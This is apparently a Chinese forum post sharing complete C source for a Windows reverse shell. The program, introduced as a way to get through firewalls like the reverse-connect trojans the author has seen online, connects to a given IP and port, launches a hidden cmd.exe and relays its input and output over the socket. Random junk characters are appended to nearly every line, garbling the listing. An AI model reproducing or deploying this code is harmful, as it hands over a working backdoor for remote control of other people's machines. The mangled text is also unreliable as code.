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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~,e!t.339  
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/* ============================== V8&/O)}o  
Rebound port in Windows NT L1QQU  
By wind,2006/7 ]@J}f}Mjo  
===============================*/ @` .u"@  
#include !BEOeq@2.  
#include fnnwe2aso  
?<frU ,{  
#pragma comment(lib,"wsock32.lib") T *t$   
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void OutputShell(); 7IJb$af:;  
SOCKET sClient; 3r em"M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 29ft!R>[  
YY!(/<VI  
void main(int argc,char **argv) _ga!TQ:  
{ b+p!{  
WSADATA stWsaData; A?}OOjA  
int nRet; k7{fkl9|#  
SOCKADDR_IN stSaiClient,stSaiServer; 0h shHv-  
\N#)e1.0P  
if(argc != 3) xN"KSQpu  
{ \Di~DN1  
printf("Useage:\n\rRebound DestIP DestPort\n"); pjj 5  
return; G^mk<pH  
} 'v|2} T*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); L)nVNY@Mc  
 (+]k{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GPx S.&  
uWnS<O  
stSaiClient.sin_family = AF_INET; x}x@_w   
stSaiClient.sin_port = htons(0); Rg[e~##  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >!)VkDAG  
P)ZSxU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jZ D\u%  
{ aJ)5DlfLR  
printf("Bind Socket Failed!\n"); V2FE|+R%g  
return; M<$l&%<`G  
} ` `;$Kr  
') 1sw%[2  
stSaiServer.sin_family = AF_INET; peqFa._W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H9)uni   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ''v1Pv-  
^LU[{HZV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k13/yiv  
{ +~fu-%,k  
printf("Connect Error!"); M.8!BB7\8e  
return; w|nVK9.  
} :s'%IGy>:  
OutputShell(); 93WYZNpX  
} ~v54$#CB  
iz^wBQ  
void OutputShell() R-Fi`#PG2  
{ *>'R R<  
char szBuff[1024]; ABHZ)OM  
SECURITY_ATTRIBUTES stSecurityAttributes; Lv^j l  
OSVERSIONINFO stOsversionInfo; x b0+4w|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }\0"gM  
STARTUPINFO stStartupInfo; b/K&8C,c  
char *szShell; ai`:HhE  
PROCESS_INFORMATION stProcessInformation; _@OYC<  
unsigned long lBytesRead; yX~[yH+Pn  
m~U{ V9;*  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F>b6fUtR  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0&nF Vsz  
stSecurityAttributes.lpSecurityDescriptor = 0; 654%X(:q  
stSecurityAttributes.bInheritHandle = TRUE; ;Z`)*TRp4  
kTk?[BK  
{f&ga  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _uu:)%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wwAT@=X*}  
iE Oyc59  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B7PmG f)b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W_ 6Jl5]  
stStartupInfo.wShowWindow = SW_HIDE; 7}x-({bqy  
stStartupInfo.hStdInput = hReadPipe; )ED[cYGx  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K`X2N  
ww,c)$  
GetVersionEx(&stOsversionInfo); u=l(W(9=  
.)3 2WD%  
switch(stOsversionInfo.dwPlatformId) {;}8Z$  
{ sR 9F:  
case 1: i@J,u  
szShell = "command.com"; \O:xw-eG   
break; \S<5b&G  
default: UJH{vjIv  
szShell = "cmd.exe"; @ubz?5  
break; \fz j fZ1n  
} 5VTbW   
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @ tIB'|O  
`@e H4}L*  
send(sClient,szMsg,77,0); ( 7?%Hg  
while(1) fA8+SaXW%  
{ Fq9[:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9vbh5xX   
if(lBytesRead) 7xc<vl#:q7  
{ Xdq, =;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *YtNt5u  
send(sClient,szBuff,lBytesRead,0);  B~NC  
} ~/U0S.C  
else dc>y7$2  
{ itF+6wv~  
lBytesRead=recv(sClient,szBuff,1024,0); _'7/99]4g}  
if(lBytesRead<=0) break; *02( J  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  mb/[2y<  
} ! -c*lb  
} _6m3$k_[MJ  
@EY}iK~  
return; QB[s8"S  
}
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